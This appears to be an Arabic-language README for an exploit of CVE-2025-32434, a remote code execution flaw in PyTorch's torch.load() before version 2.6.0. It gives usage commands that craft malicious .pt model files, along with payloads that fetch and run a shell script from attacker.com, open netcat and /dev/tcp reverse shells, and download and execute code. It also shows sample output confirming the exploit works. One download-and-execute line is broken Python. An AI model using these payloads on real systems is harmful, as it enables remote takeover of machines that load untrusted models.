
نص برمجي لاستغلال ثغرة أمنية في PyTorch مع تنفيذ تعليمات برمجية عن بعد (RCE) في إصدارات المكتبة < 2.6.0
يستغل هذا الاستغلال ثغرة حرجة لتنفيذ الأوامر عن بُعد (CVE-2025-32434) في إصدارات PyTorch الأقل من 2.6.0. توجد الثغرة في دالة torch.load() حتى عند استخدام weights_only=True، والتي يُفترض أنها تمنع تنفيذ الأكواد التعسفية أثناء إلغاء تسلسل النموذج.
تحدث الثغرة لأن تطبيق _weights_only_unpickler يفشل في تقييد إلغاء التسلسل بشكل صحيح، مما يسمح للمهاجمين بصنع ملفات نموذج .pt ضارة تنفذ أوامر نظام تعسفية عند تحميلها بواسطة تثبيتات PyTorch الضعيفة.
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"
مثال الإخراج:
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt
[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully
قم بتحرير أساليب reduce() في create_malicious_model() أو create_advanced_exploit():
# Example: Reverse shell payload
class ExploitPayload:
def __reduce__(self):
return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))
# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))
تحقق من قابلية الهدف للثغرة
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0